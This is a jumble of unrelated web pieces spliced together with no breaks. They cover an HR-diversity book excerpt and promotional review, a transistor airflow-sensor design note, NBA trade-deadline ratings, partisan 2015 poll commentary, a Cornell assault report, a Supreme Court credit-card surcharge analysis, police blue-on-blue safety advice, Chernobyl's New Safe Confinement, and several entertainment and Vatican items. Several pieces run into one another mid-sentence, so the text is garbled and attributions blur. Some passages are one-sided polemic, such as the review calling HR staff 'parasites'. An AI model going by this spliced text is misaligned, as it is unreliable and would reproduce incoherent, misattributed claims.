Businesses started caring a lot more about diversity after a series of high-profile lawsuits rocked the financial industry. In the late 1990s and early 2000s, Morgan Stanley shelled out $54 million—and Smith Barney and Merrill Lynch more than $100 million each—to settle sex discrimination claims. In 2007, Morgan was back at the table, facing a new class action, which cost the company $46 million. In 2013, Bank of America Merrill Lynch settled a race discrimination suit for $160 million. Cases like these brought Merrill’s total 15-year payout to nearly half a billion dollars. It’s no wonder that Wall Street firms now require new hires to sign arbitration contracts agreeing not to join class actions. They have also expanded training and other diversity programs. But on balance, equality isn’t improving in financial services or elsewhere. Although the proportion of managers at U.S. commercial banks who were Hispanic rose from 4.7% in 2003 to 5.7% in 2014, white women’s representation dropped from 39% to 35%, and black men’s from 2.5% to 2.3%. The numbers were even worse in investment banks (though that industry is shrinking, which complicates the analysis). Among all U.S. companies with 100 or more employees, the proportion of black men in management increased just slightly—from 3% to 3.3%—from 1985 to 2014. White women saw bigger gains from 1985 to 2000—rising from 22% to 29% of managers—but their numbers haven’t budged since then. Even in Silicon Valley, where many leaders tout the need to increase diversity for both business and social justice reasons, bread-and-butter tech jobs remain dominated by white men.
As we saw elsewhere, all HR-imposed systems will be gamed and routed around by hiring managers keen to improve the performance of their teams and promote their own advancement. When diversity is mostly lip service and an industry is clubbish, not much will actually change — high-performing minority candidates who would have done well anyway are promoted, but the corporate culture won’t change much. The article continues:
…companies are basically doubling down on the same approaches they’ve used since the 1960s — which often make things worse, not better. Firms have long relied on diversity training to reduce bias on the job, hiring tests and performance ratings to limit it in recruitment and promotions, and grievance systems to give employees a way to challenge managers. Those tools are designed to preempt lawsuits by policing managers’ thoughts and actions. Yet laboratory studies show that this kind of force-feeding can activate bias rather than stamp it out. As social scientists have found, people often rebel against rules to assert their autonomy. Try to coerce me to do X, Y, or Z, and I’ll do the opposite just to prove that I’m my own person. In analyzing three decades’ worth of data from more than 800 U.S. firms and interviewing hundreds of line managers and executives at length, we’ve seen that companies get better results when they ease up on the control tactics. It’s more effective to engage managers in solving the problem, increase their on-the-job contact with female and minority workers, and promote social accountability—the desire to look fair-minded. That’s why interventions such as targeted college recruitment, mentoring programs, self-managed teams, and task forces have boosted diversity in businesses. Some of the most effective solutions aren’t even designed with diversity in mind…. Decades of social science research point to a simple truth: You won’t get managers on board by blaming and shaming them with rules and reeducation…. Another reason is that about three-quarters of firms with training still follow the dated advice of the late diversity guru R. Roosevelt Thomas Jr. “If diversity management is strategic to the organization,” he used to say, diversity training must be mandatory, and management has to make it clear that “if you can’t deal with that, then we have to ask you to leave.” But five years after instituting required training for managers, companies saw no improvement in the proportion of white women, black men, and Hispanics in management, and the share of black women actually decreased by 9%, on average, while the ranks of Asian-American men and women shrank by 4% to 5%. Trainers tell us that people often respond to compulsory courses with anger and resistance — and many participants actually report more animosity toward other groups afterward. But voluntary training evokes the opposite response (“I chose to show up, so I must be pro-diversity”), leading to better results: increases of 9% to 13% in black men, Hispanic men, and Asian-American men and women in management five years out (with no decline in white or black women). Research from the University of Toronto reinforces our findings: In one study white subjects read a brochure critiquing prejudice toward blacks. When people felt pressure to agree with it, the reading strengthened their bias against blacks. When they felt the choice was theirs, the reading reduced bias. Companies too often signal that training is remedial. The diversity manager at a national beverage company told us that the top brass uses it to deal with problem groups. “If there are a number of complaints…or, God forbid, some type of harassment case…leaders say, ‘Everyone in the business unit will go through it again.’” Most companies with training have special programs for managers. To be sure, they’re a high-risk group because they make the hiring, promotion, and pay decisions. But singling them out implies that they’re the worst culprits. Managers tend to resent that implication and resist the message.
One lawyer comments on the same issues:
If they are doing it for legal protection, most employers really don’t care whether the training works. It is hardly surprising that training could have counterproductive effects when the attitude often is, “Just do it, and just do it as cheaply as possible.” This approach leaves employees feeling cynical and distrustful of the company and in the worse case sows the seeds for conflict.
[From Death by HR: How Affirmative Action Cripples Organizations, available now in Kindle and trade paperback.]
The first review is in: by Elmer T. Jones, author of The Employment Game. Here’s the condensed version; view the entire review here.
Corporate HR Scrambles to Halt Publication of “Death by HR” Nobody gets a job through HR. The purpose of HR is to protect their parent organization against lawsuits for running afoul of the government’s diversity extortion bureaus. HR kills companies by blanketing industry with onerous gender and race labor compliance rules and forcing companies to hire useless HR staff to process the associated paperwork… a tour de force… carefully explains to CEOs how HR poisons their companies and what steps they may take to marginalize this threat… It is time to turn the tide against this madness and Death by HR is an important research tool… to craft counter-revolutionary tactics for dealing with the HR parasites our government has empowered to destroy us. All CEOs should read this book. If you are a mere worker drone but care about your company, you should forward an anonymous copy to him.
More reading on other topics:
The Justice is Too Damn High! – Gawker, the High Cost of Litigation, and the Weapon Shops of Isher
Regulation Strangling Innovation: Planes, Trains, and Hyperloop
Captain America and Progressive Infantilization
FDA Wants More Lung Cancer
Corrupt Feedback Loops: Public Employee Unions
Sons of Liberty vs. National Front
Share this: Twitter
Facebook
Reddit
Email
Print
LinkedIn
Tumblr
Pocket
PinterestAmateur design report by Johan Liljencrants
The Q1 heating current is converted into a proportional voltage by R2. This also raises the potential of the amplifier inputs enough that no special trick is necessary to hold down the amplifier negative supply rail. Further the diagram suggests a convenient arrangement of zero and calibration trimmer potentiometers, should you want to display results directly with a milliampere meter.
The four calibration curves pertain to different implementations of the transistor probes, all run in identically the same circuit except for the bias resistor R3. Two use classical style TO18 metal cased transistors (type BC107B), the other two use miniature surface mount SOT23 (type BC847B). The big difference between the red (copper) and black (iron) traces is a change in thermal conductivity in the connecting wires used. Not until late stages in my experimentation I realized the extreme importance of this feature. Theory and experiments on this sub topic of probe design follow below.
The optional R3 controls the Q1 base current at rest and thereby indirectly governs its temperature elevation. Alas, it seems you have to adjust this to match whatever current amplification factor that device happens to have. A goal may be to set output voltage U at still air to come in the 1-2 V range.After a week’s hiatus because of the All-Star break, we’re back with FiveThirtyEight’s NBA Power Ratings.
There are more than a few trade deadline-related changes to the rankings this week, but before I get to those, a quick explanation of how these numbers work: Teams are ranked according to a projection of their strength over the upcoming week using Real Plus-Minus (RPM) player ratings provided by Jeremias Engelmann and Steve Ilardi. For more details on these numbers, see our introductory rankings post.
In many ways, ranking the league after a reshuffling of players — like Thursday’s trade deadline — is precisely what power ratings such as these are intended to do. Because they’re based on the underlying talent of the players on each team’s roster, they ought to be able to account for player movement more quickly than ratings that require the new-look teams to play together a bunch of times.
So, how much did the deadline really shake up the league? Here’s a look at the statistical effect of deadline trades on each team, in terms of the RPM wins above replacement (WAR) they are projected to gain or lose over the remainder of the 2014-15 schedule:
TEAM TRADED WITH NET WAR MIA NOP, PHO +2.4 BOS DET +2.1 SAC WAS +1.8 DET BOS, OKC +1.4 DEN PHI, POR +0.7 BRK MIN +0.4 POR DEN +0.4 HOU NYK, PHI +0.3 UTA OKC +0.2 MIL PHO +0.0 PHI DEN, HOU, MIL -0.1 NOP MIA, OKC, PHO -0.1 MIN BRK -0.2 NYK HOU -0.5 OKC NOP, UTA -0.7 WAS SAC -0.9 PHO DET, MIA, MIL -3.2
(Note that all of these gains and losses are for 2014-15 only — they don’t take into account draft picks exchanged or even the future implications of picking up a player and his contract.)
As SB Nation’s Paul Flannery noted, this trade deadline didn’t really make much difference despite all the chaos in the final hectic minutes.
Sure, the top team, Miami, added about 2.4 wins over the rest of the season, and Phoenix brought up the rear with a loss of more than 3 WAR when the dust settled. The moves may have kept the Heat afloat for the playoffs (especially in light of the subsequent news that Chris Bosh would be lost for the season with blood clots) and signaled the death knell for the Suns’ postseason chances.
But the rest of the biggest movers and shakers on deadline day either had already locked up a playoff slot (Washington and Oklahoma City took steps back but are near 100 percent playoff probability by our projections anyway) or didn’t have a prayer no matter what they did (the Celtics, for all their improvements on deadline day, are still staring at a mere 12.1 percent chance of making the playoffs).
The exception to this might be the Detroit Pistons. Two weeks ago, the Pistons clung to a meager 9.9 percent probability of making the playoffs, according to our model. Now they have a 47.8 percent chance of making the postseason and have jumped from 21st to 16th in the power rankings — some of that thanks to the 1.4-WAR boost they picked up at the trade deadline with Reggie Jackson (an upgrade made doubly positive by the discarding of sub-replacement level guard D.J. Augustin).
Aside from the Pistons, however, it seems as though few of Thursday’s moves will upend the playoff picture in either conference.
At any rate, many of the trades yielded positive WAR simply by jettisoning a poor player from the roster. Take, for instance, Sacramento’s trade of Ramon Sessions to Washington. It netted a solid player in return — Andre Miller is expected to generate 0.8 WAR for the Kings over the rest of the season — but removing Sessions was the bigger windfall in terms of 2014-15 WAR. Sessions’ -5.1 predictive RPM combined with an expectation of 17 minutes per game to potentially deliver -1.0 WAR to Sacramento before it traded him away.
As for the rankings themselves, the New Orleans Pelicans were the biggest movers since two Mondays ago — and in a very bad way. They lost all-everything forward Anthony Davis to a shoulder sprain that will cost him several weeks of action, which coupled with an ongoing injury to Jrue Holiday — and the addition of RPM disaster Norris Cole — to drop the Pelicans 11 ranking slots. RPM says their depleted roster projects to be the fourth-worst in basketball over the next week.
The Dallas Mavericks dropped eight slots in this edition of the rankings. Adding Amar’e Stoudemire didn’t help, but the biggest changes were an injury to Chandler Parsons and the return of statistical enigma Rajon Rondo to their lineup. Rondo’s having a subpar season by the numbers, and short-term RPM gives him a rating near the replacement level. But at least Dallas is still 99.5 percent likely to make the playoffs, according to our simulations.
Looking for good news? The Los Angeles Clippers rose six spots in the rankings from two weeks ago. Usually changes to the power ratings are due to player movement, injuries or other reallocations of minutes, but in the case of the Clippers, the improved play of Jamal Crawford has also played a role. Crawford still carries a negative RPM rating, but he’s averaging 22.8 points per game over his last four outings and has been present for some of the Clippers’ best basketball — they’ve averaged a +17.5 scoring margin per game with him on the floor over the past two weeks.
Finally, let’s give a hand to the New York Knicks. While they’ve been a fun punchline all season, they’ve been in a dogfight with the Philadelphia 76ers for last place in our rankings all season. But after a season-ending injury to Carmelo Anthony, the Knicks have separated themselves from the pack, easily ranking as the least-talented team in the NBA this week. With the likes of RPM ne’er-do-wells Jose Calderon, Jason Smith and Tim Hardaway Jr. projected to soak up huge minutes for the rest of the season, Jim Dolan’s team is truly a fitting “Hope Diamond in his loser’s tiara.”Poll: At least 7 GOP candidates beat or tie @HillaryClinton if race held today. @SundayFutures pic.twitter.com/to0piVh2lm — Fox News (@FoxNews) November 22, 2015
83% think Islamist extremist terrorists will try to attack US homeland in near future: https://t.co/lYiGUUuSgp — Guy Benson (@guypbenson) November 22, 2015
By 66/29 margin, US voters believe US *is* at war with radical Islam, rejecting Obama/Hillary posture: https://t.co/lYiGUUuSgp — Guy Benson (@guypbenson) November 22, 2015
~2/3 of voters (65%) say Obama not aggressive enough vs. ISIS. Lots of "folks poppin' off:" https://t.co/lYiGUUuSgp — Guy Benson (@guypbenson) November 22, 2015
*67%* of voters disapprove of Obama's Syrian refugee policy. Just 28% approve (exact same # in Bloomberg poll): https://t.co/lYiGUUuSgp — Guy Benson (@guypbenson) November 22, 2015
Voters oppose closing Gitmo by 28-point margin. Oppose Obama bypassing Congress to do so by whopping (73/20): https://t.co/lYiGUUuSgp — Guy Benson (@guypbenson) November 22, 2015
John Kerry: Al Qaeda is "neutralized" https://t.co/hX9NJOBKSp Ex-DIA Director Mike Flynn to me today: Al Qaeda doubled in size since 2008 — Stephen Hayes (@stephenfhayes) November 20, 2015
Happy Thanksgiving week, conservatives:Rubio's up eight, Jeb's up six, Trump and Carson are up five, Cruz is up four, and Christie's up three. Fiorina is tied with Hillary, at 42 percent apiece. The sample is R+1 -- perhaps a bit generous -- but Hillary's fundamentals remain terrible, including a dead-last (38/58) 'honest and trustworthy' score among the field. And it's entirely plausible that more Americans are identifying as Republicans in the wake of the Paris attacks, especially as Democrats weirdly channel their energies toward sanitizing the threat of radical Islam and pushing an unpopular refugee policy, while accusing skeptics of un-American bigotry. Why, based on these data points from the new scientific, nonpartisan nationwide survey, it's almost as if the Democratic Party is intent on solidifying a reputation of perilously naive weakness on national security and defense:No wonder President Setback has been so cranky and demagogic lately (his overall approval rating slumps to 40/54 in this poll). His policies have failed, and Americans know it. His indignant blamestorming has been utterly unconvincing on substance, even among many Democrats. The administration claims the facts are on their side regarding refugee vetting. But they're not pounding the facts; they're impotently pounding the table. Take another look at the "radical Islam" numbers above, then marvel at the breathtaking tone-deafness of this new DNC ad:Every single Republican candidate featured in the spot rightfully goes out of his way to employ "radical" or "extreme" qualifiers. The Bush comments presented as a "rebuttal" simply hammer home the painfully obvious point that radical Islam shouldn't be lazily conflated with Islam itself. Also, as Allahpundit notes, the notion that Bush never used the term "radical Islam" because it would "incite fear" is, um, incorrect. What a mind-blowingly stupid ad. Republicans should urge the Democrats to run it 24/7. On the Guantanamo issue, in addition to lopsided sentiment against closing the facility -- especially through an illegal power play -- nearly seven-in-ten voters also say they'd oppose relocating any of Gitmo's dangerous jihadi detainees from the secure facility in Cuba to their home state. This may explain why Congressional Democrats have repeatedly helped Republicans block Obama's efforts to close the prison, yet the White House remains obsessed with doing so. Will Obama defy the will of Congress, heavy public opinion, and the legal conclusion of his own Attorney General?Some indicators suggest Obama is planning subvert the law anyway, and he's setting the stage for it by releasing and transferring hardcore terrorists to other countries. I'll leave you with the latest from Team Smart Power, which informed Americans that "jayvee" ISIS was "contained" just before Paris, and that Al Qaeda was "neutralized" right before Mali ( ahem ):ITHACA, N.Y. — Four days after police arrested a man involved in a racially charged assault involving Cornell students, police have released the name of a person charged in the incident.
John Greenwood, 19, has been charged with misdemeanor third-degree assault. He's scheduled to be arraigned Sept. 27 in Ithaca City Court.
According to the Cornell directory, Greenwood is a student at Cornell University.
"The Ithaca Police Department is still actively investigating the incident, including the elements that this assault was based on racial bias," police said in the news release.
Cornell University official Lindsey Hadlock, speaking on behalf of the university, refused to comment about whether Greenwood is still permitted on campus, despite safety concerns expressed by the Cornell community about the crime. She did not cite a reason for withholding the information. Media Relations director John Carberry also said that the university is not releasing any more information as of Tuesday evening.
Police said they were called to 306 Eddy Street around 1:38 a.m. Friday after a fight was reported in the area.
A black male told officers that he was attacked by four or five white men after initially trying to break up a fight happening on the front lawn of his home. He was taken to the hospital after the incident and police said injuries to people involved were not "significant." He said he was called racial slurs by the men before being attacked.
The incident has ignited a storm of criticism from the Ithaca and Cornell communities. It's the second racist incident reported at the campus in the past few weeks.
On Sept. 6, several students at the Latino Living Center reported to Cornell officials that the phrase “Build a wall, build a wall,” was being chanted, likely by people at the Zeta Psi Fraternity house.
One person owned up to chanting the phrase and school officials said that person has since apologized.
ARTICLE CONTINUES BELOW
Since the incident Friday, the Black Students United at Cornell have said in an online statement, "The continual assault on the mental, physical, and emotional health of Black students, will no longer be tolerated. BSU is fully prepared to work with organizations and task forces to dismantle the deeply rooted structures of white supremacy on this campus. We wish to work toward devising an effective, inclusive, accurate, and educational training program that can be implemented university-wide, for staff, faculty, and students."
Cornell University President Martha Pollack said in a statement, "I will not tell you 'this is not who we are,' as the events of the past few weeks belie that. But it is absolutely not who we want to be."
Editor's note: Per policy unanimously approved by The Ithaca Voice board of directors in April 2017, news stories do not contain mugshots of people until post-indictment or post-conviction unless there is an immediate danger to the community that could possibly be remedied by posting a mugshot.iStock iStock
Imagine you’re at the mall shopping for a sweater. You pick out a red one and a blue one. The red sweater costs $40, with a $1.50 discount if you pay cash. How would you like to pay?
The blue sweater, meanwhile, costs $38.50, with a $1.50 surcharge if you pay with a credit card. How would you like to pay?
As any economist will tell you, your answer should be the same in each case, because the prices of the two sweaters are identical: $38.50 if you pay cash, $40 if you pay credit. But as any behavioral economist will tell you, people respond very differently depending on whether the price difference is presented, or “framed,” as a discount or a surcharge. The threat of a surcharge is much more powerful than the offer of a discount: people are much more likely to pay cash for the blue sweater than the red one.
That brings us to Tuesday’s Supreme Court oral arguments. A New York State law prevents merchants from imposing a surcharge on people who pay with a credit card, but allows them to offer a cash discount. Business owners hate the law because they prefer customers to pay in cash so that the businesses can avoid paying a fee to credit card companies—and they know that imposing a surcharge, rather than offering a cash discount, is the most effective way to get customers to do that. So a few New York businesses sued, claiming that the law violates their right to free speech under the First Amendment. Allowing discounts but banning surcharges, they argue—allowing the red sweater pricing but not the blue one—boils down to restricting what businesses can say, not what they can charge. (The lead plaintiff is named, all too perfectly, Expressions Hair Design.)
New York claims that the surcharge ban, which was modeled after an expired federal law, is designed to protect consumers from bait-and-switch pricing tactics. But it’s actually a favor to politically powerful credit card companies, who, like store owners, know that surcharges are bad for their business. Consumer advocacy groups have long opposed laws like New York’s on the grounds that they conceal the true cost of credit card fees and lead to the cost of the fees being passed on to all consumers, even those who can’t afford credit cards—in other words, it’s a regressive wealth transfer.
Yet consumer groups were divided in yesterday’s case. Organizations including Consumers Union, which has actively opposed surcharge bans, filed an amicus brief defending the New York law. Why?
Because the case is a potential Trojan horse. Even though a victory for the plaintiffs would be a good thing for consumers when it comes to credit card fees, a ruling that recognizes a First Amendment interest in setting prices could be used to strike down regulations that help consumers.
For the better part of a decade, one of the most pressing issues in free speech law has been the increasing use of the First Amendment as a weapon to strike down economic regulations. This trend has come to be known in academic circles as “First Amendment Lochnerism.” It’s a reference to Lochner v. New York, a notorious 1905 case in which the Supreme Court ruled that legal limits to working time—meant to protect laborers—violated freedom of contract. For decades, in what became known as the Lochner era, the court would strike down regulation after regulation on similar grounds. The Lochner era is widely regarded as the apotheosis of justices substituting their own judgment for that of legislators—striking down a law because they disagreed with it.
In recent years, the Supreme Court has begun drifting back in that direction, using freedom of speech, rather than freedom of contract, as its rationale. (Haley Sweetland Edwards wrote about this trend for Washington Monthly in 2014.) In a 2011 case called Sorrell v. IMS Health Inc., for instance, it struck down a Vermont statute that prevented the sale of prescription data to pharmaceutical marketers on the grounds that marketing is speech and thus marketers were being discriminated against on the basis of their speech.
In court yesterday, Justice Stephen Breyer worried openly about the possibility of offering free market crusaders another First Amendment deregulatory tool. “[W]e are diving headlong into price regulation,” he said. “And so the word that I fear begins with an L and ends with an R; it’s called Lochner.”
Is Breyer’s fear justified? Deepak Gupta, the lawyer for the plaintiffs challenging the law, insisted that it wasn’t. He wasn’t asking the court to rule that the act of setting a price counts as speech for the purposes of the First Amendment. Rather, he said, the problem with the New York law is that it only restricts how businesses communicate their prices, not what the prices are. He pointed to examples of lawyers for New York State telling store employees that they would risk criminal prosecution simply for saying a product cost five cents more for credit card purchasers instead of five cents less for cash buyers.
But, as Justice Elena Kagan pointed out, the challengers seemed to have “two very different theories of what makes this a speech restriction.” It’s the second theory that should keep Breyer up at night: merchants must be allowed to impose a surcharge because, as Gupta put it, charging more money is “their most effective way of communicating the hidden cost of credit cards to their customers.” That argument raises the specter of Lochnerism because, despite Gupta’s assurances, it implies that the act of charging a price is actually “speech” that requires First Amendment protection.
The first theory is less alarming. If the law really polices the words businesses use to describe the same price difference, it’s hard to deny that it’s restricting speech. But it isn’t at all clear whether the law really does that. New York’s lawyer, Steven C. Wu, said it doesn’t. The statute, he pointed out, doesn’t say anything about speech; it simply says, “No seller in any sales transaction may impose a surcharge on a holder who elects to use a credit card in lieu of payment by cash, check, or similar means.” Businesses can say whatever they want, Wu argued, including the word “surcharge.” They can even list two prices for each product: one for cash, one for credit card. The only thing they can’t do, Wu said, is display one sticker or list price, and then add a surcharge to that price for people who pay with a credit card. In other words, the display price must by default be the highest price.
If that’s what the law means, then the challengers’ argument loses its bite. All kinds of business practices are more or less effective at getting customers to behave in certain ways. Supermarkets put the candy by the register because they know it encourages impulse buying. But just because something can be used to manipulate people’s behavior doesn’t make it a protected act of self-expression. If businesses are free to hang a sign next to the register lambasting the surcharges that customers have to pay, then how can they say they’re losing the opportunity to communicate?
So the case likely hinges on which description of the law the court accepts. But the justices seemed reluctant to wade in on that question. As Justice Sonia Sotomayor put it, speaking to Gupta, “I’m not sure what you or anybody is saying about this statute or what it means, but not because it’s necessarily vague. I just don’t see anything about speech in the statute.” As a result, the court looks poised to send the case back down to the New York courts. According to Supreme Court precedent, state courts should take the first crack at interpreting what a state law means before the Supreme Court weighs in on its constitutionality. So New York’s highest court will probably get a chance to decide which interpretation is correct—the challengers’ or the state’s.
But the case could make it back to the Supreme Court. And even if it doesn’t, more cases like it—casting commercial activity as “speech” in order to shield it from regulation—will keep coming. With a conservative replacement for the late Justice Antonin Scalia soon to be appointed, that makes economic regulations, especially consumer protections, yet another area where Justice Anthony Kennedy will represent the swing vote.
Kennedy has been at the vanguard of the court’s First Amendment Lochnerism—he wrote the 2011 opinion in Sorrell. But yesterday, he didn’t seem very hostile to New York’s law. Breyer’s comments about Lochner were clearly intended for his colleagues, particularly Kennedy. To hold back the tide of deregulation in the name of free speech, he will have to hope his message is getting through.We continue to see an increase in the number of officers who carry concealed when off duty. Further, the number of retired officers carrying a gun (under HR-218 / LEOSA) is continually increasing. That’s a good thing in my opinion. I like having good guys with guns wandering around in our midst.
Although it’s rare — contrary to countervailing opinion, off-duty and retired cops draw and fire a gun very, very infrequently — circumstances do arise in which that LEO will view conditions to be so desperate they are compelled to engage a deadly threat.
When that happens, the next folks arriving to the scene are generally the uniformed police officers responding to a “shots fired” or “man with a gun” call.
This is where truly bad things can happen.
Accidental Blue-on-Blue deaths are a real concern — my friend and PoliceOne colleague Dick Fairburn and I have been discussing this matter for years. We recently revisited the topic.
“As more and more retired officers get comfortable with daily concealed carry, we increase the odds they might stop a shooting event in its earliest stages. At the same time, we increase the risk factor due to misidentification,” Fairburn told me.
“Don't forget about the possibility of ‘Blue-on-Gray’,” Fairburn added. “That guy who dropped the active shooter might be a retired cop.”
One way to help ensure that you’re easily identified by arriving uniforms is to have a highly visible indicator on your person.
In 2012, Sergeant Ward Smith — supervisor of the Kansas City (Mo.) PDs firearms training section — completed a two-year study highly relevant for off-duty, undercover, and other plainclothes officers who become involved in a hot crime scene while armed — as well as for uniformed personnel who respond to such scenarios.
“When you’re in street clothes with your gun out in an enforcement situation, where you place your badge — at your beltline or hanging from your neck — may directly affect your chances of surviving when you’re confronted by a responding officer who does not personally recognize you,” Smith said in this column by Chuck Remsberg.
A center-mass display of your badge is better than the belt-line. One step further than that might be the DSM banner from DSM Safety Products.
The brainchild of retired SWAT Sergeant Mike Lessman, the DSM banner is a brightly colored, reflective banner you pull from a pouch on your belt to drape across your torso, “Miss America” style. Fairburn and I are both big fans of this thing.
Together — with the big time help of my friends in the graphics department — Fairburn and I have developed a poster you can pin up alongside other intel bulletins and safety alerts on the cork board in your squad room. Click the link and/or the image below, and a new tab will open with the full-size poster. Mouse over the the bottom-right corner of your screen and you will see icons for saving and printing the document.
Stay safe out there my brothers and sisters.
Download the Full-Size Blue-on-Blue Officer Safety PosterChernobyl’s New Safe Confinement (NSC) is a design and construction project unprecedented in the history of engineering. Never before has such a huge structure been constructed at a heavily contaminated site.
Overcoming the risks and difficulties inherent in the project required years of groundwork and preparation, as laid down in the Shelter Implementation Plan (SIP). Work on the New Safe Confinement at the site started in late 2010 and construction is scheduled to be completed in 2018. The structure was moved into position in November 2016.
Timelapse video of a unique engineering project. Chernobyl’s giant New Safe Confinement (NSC) is now in position, having been moved 327 metres from its assembly point to its final resting place, enclosing the shelter assembled immediately after the 1986 accident. More videos
The New Safe Confinement will prevent the release of contaminated material from the present shelter and at the same time protect the structure from external impacts such as extreme weather.
The new structure is an extraordinary landmark, tall enough to house London’s St Paul’s or Paris’ Notre Dame cathedrals. To minimise the risk of workers’ exposure to radiation, it was assembled in the vicinity of the site and is now being slid into position.
The New Safe Confinement is 108 metres high and 162 metres long, and has a span of 257 metres and a lifetime of a minimum of 100 years.
The arch-shaped structure weighs some 36,000 tonnes. Its frame is a huge lattice construction of tubular steel members, supported by two longitudinal concrete beams.
It provides a safe working environment equipped with heavy duty cranes for the future dismantling of the shelter and waste management after the completion of the NSC.
It is strong enough to withstand a tornado and its sophisticated ventilation system eliminates the risk of corrosion, ensuring that there is no need to replace the coating and expose workers to radiation during the structure’s lifetime.
The contract for this unprecedented design and construction project was awarded to the Novarka consortium led by the French construction companies Bouygues and Vinci in 2007.
The consortium worked with local sub-contractors and others from across the world. For instance, the arch was made of structural elements designed and built in Italy. The cranes were manufactured in the US. The arch cladding contractor was from Turkey, and lifting and sliding operations were carried out by a Dutch company.
Contracts were awarded in accordance with the EBRD’s procurement policies and rules and implemented in line with the Bank’s Environmental and Social Policy.
The New Safe Confinement is a key part of the Shelter Implementation Plan. Its construction was financed via the Chernobyl Shelter Fund, managed by the EBRD on behalf of the contributors to the Fund.AMMAN, Jordan, June 13 (UPI) -- Iraqi Prime Minister Nouri al-Maliki Friday detailed his differences with the United States on a new security agreement between the two nations.
Maliki said that negotiations between his Baghdad government and the United States are at an impasse, The New York Times reported. The status-of-forces agreement would replace the U.N. mandate, which expires at the end of the year.
"The American version of the agreement infringes hugely on the sovereignty of Iraq and this is something that we cannot ever accept," he told newspaper editors in Amman, Jordan.
Iraq cannot accept immunity for U.S. soldiers and contractors operating within its borders, he said. It also cannot allow U.S. forces to carry out military or security operations independently, to arrest Iraqis independently or to use Iraqi airspace and waterways without permission.
On Thursday, after a meeting with King Abdullah of Jordan, Maliki was somewhat more conciliatory emphasizing continuing negotiations.The Entertainment Software Rating Board (ESRB) is altering the appearance of its most visible contribution to the game industry — the icons for its six video game rating categories — for the first time in more than a decade. The reason for the change? The organization is keeping up with the times as digital distribution continues to grow, tweaking the icons so they're clear and easy to understand wherever they appear.
The ESRB most recently undertook an overhaul of its rating icon design in 1999, getting rid of the old pixelated letters (like the now-defunct 'K-A' for "Kids to Adults" rating seen here) in favor of a cleaner look. The post-revision icons |
discovered, when studying pro-level players who were really smashing the ball, that we had to run our collision simulation between ball and paddle over 10,000 hz in order to maintain the sub-millimeter level precision you expect from the Vive. (More Science: Virtual Sports actually calculates the physics for ball movement and racket collisions every 30,000th of a second!)
While it’s hard to maintain the same level of realism in tennis, since the ball affects the racket in a way it doesn’t in ping pong, we still give a level of realism the other sports games weren’t doing.
At the same time as the other games lack realism for skilled players, we found they were too hard for new players. Tennis and ping pong are hard, so another key difference is our Fun Mode. We use video-game techniques to simulate where the ball is going to land, and then make mostly undetectable adjustment to keep the ball in play.
What we were surprised to discover was that when we turn fun mode off, new players were able to continue playing at a higher level of skill, and that good players also really enjoyed keeping it on.
Virtual Sports features ping pong and tennis, and clearly both have similar ‘mechanics’. How did you try and make sure each sport felt different?
They are similar in rules and swinging something at a ball, but the physics turn out to be quite different. The ping pong paddle is rigid and applies all its force based on friction, speed, and something called the coefficient of restitution. The tennis racket is a lot more complex. The strings absorb the impact and return it to the ball as they part.
We didn’t ever think about making them feel different. We focused on making them feel real, so the differences in the game are based on their real differences.
Tell us about some of the players you can face off against in single-player career mode.
I’d compare the opponents to the boxers in Punch-Out. They aren’t one trick ponies, but they each teach you one thing. Minyoung teaches you to play defensively. You take advantage of Godfrey’s weak backhand. Granny is consistent, but slow, so you need to put it out of her reach. Swerve is the spin master, but he often misses shots right up his middle. They are each based on a mechanic in the game, and pros we watched reviewing ping pong and tennis footage.
What about the multiplayer mode?
Like the single player, the focus is realism. Obviously, in ping pong, where the ball travels between players in a fraction of a second, latency is a huge issue. Rather than use a traditional server-client model, we use a special peer-to-peer model where authority is passed to the guy receiving the ball. You never lose a point because of simulation differences between the two machines. But the super special secret sauce involves hiding the latency in subtle timing changes from the point of view of the guy who just hit the ball such that both players see the ball with latency-defying synchronicity.
Finally, of ping pong and tennis – which do you prefer to play?
I’m a better ping pong player in real life, but I’ve been playing a lot more tennis since starting the project. With all the focus on the realism in the game, the best feature for someone my age is that you don’t have to chase the balls. It’s annoying to do in ping pong but takes half the time in tennis (especially when you hit over the fence a lot) So, at the end of the day, I think I have to go with virtual tennis.
Virtual Sports is available now on Steam.US President Donald Trump met with Pope Francis at the Vatican on Wednesday, May 24. The pair, who have previously expressed opposing views on issues including migration and climate change, were meeting for the first time face-to-face. Trump was expected to fly to Brussels later that day ahead of a Nato Summit. Credit: YouTube/The Vatican via Storyful
VATICAN police have allegedly busted up a homosexual orgy in an apartment that belongs to the Congregation for the Doctrine of the Faith — a department whose duties include dealing with clerical sexual abuse.
Italian newspaper Il Fatto Quotidianopublished the claims that alleged the occupant of the apartment is the secretary of cardinal Francesco Coccopalmerio, the head of the Pontifical Council for Legislative texts and a crucial adviser to Pope Francis.
Coccopalmerio is said to have been recommended for a promotion to bishop but this alleged incident and a period spent allegedly recovering from two drug overdoses are likely to affect that.
RELATED: The Vatican’s greatest scandals
The allegations come after George Pell was charged over sex offence claims last week.
Cardinal Pell was appointed to clean up the Holy See’s finances as the Pope moves to make a number of reforms that have angered conservatives.
The Pope’s reluctance to help in the case of terminally ill British boy Charlie Gard has also angered conservatives.
The heartbreaking case has made headlines around the world as the young parents fought for the right for their son to receive treatment for his extremely rare mitochondrial depletion syndrome.
Charlie is just the sixteenth reported case in the world and can’t breath unaided or move his arms and legs.
He has not been home since he was eight weeks old when his parents first started noticing his condition going downhill.
“Resistance to the Pope is growing,” a Vatican source told The Times.
“We have seen five troubling stories emerge in a matter of a few days. They have created turbulence. There’s not going to be a schism, but the Pope has lost credibility in the eyes of many.”We recently got the chance to ask Richard Speight Jr. a few questions about his role in The Evil Gene, as well as Supernatural. Richard is most known for his role as The Trickster / Gabriel in The CW’s Supernatural, but has appeared in many films and television shows.
He often hosts Creation Entertainment‘s Supernatural conventions with fellow Supernatural alum Rob Benedict. The two are also in Kings of Con, a comedy series set at fan conventions, which will air on Comic-Con HQ.
See our interview below!
Nerds and Beyond: Can you tell us more about “The Evil Gene” and your character in it?
Richard Speight Jr.: “The Evil Gene” is very fun, tight psychological thriller that challenges the notion of being born evil. Is that true? Can it be scientifically proven? Tracked? Policed? And all the while, there is a murder to solve. There’s a lot going on here. I play Griff Krenshaw, a mess of an FBI agent who is sent to a prison housing inmates deemed to be genetically evil to unravel a murder, and in the process he begins to come unravelled himself. He tries to stay professional, but the madness swirling around him in this dark place challenges him in ways he is not equipped to handle. What at first was a simple investigation quickly becomes Griff’s desperate battle to hold on to his sanity.
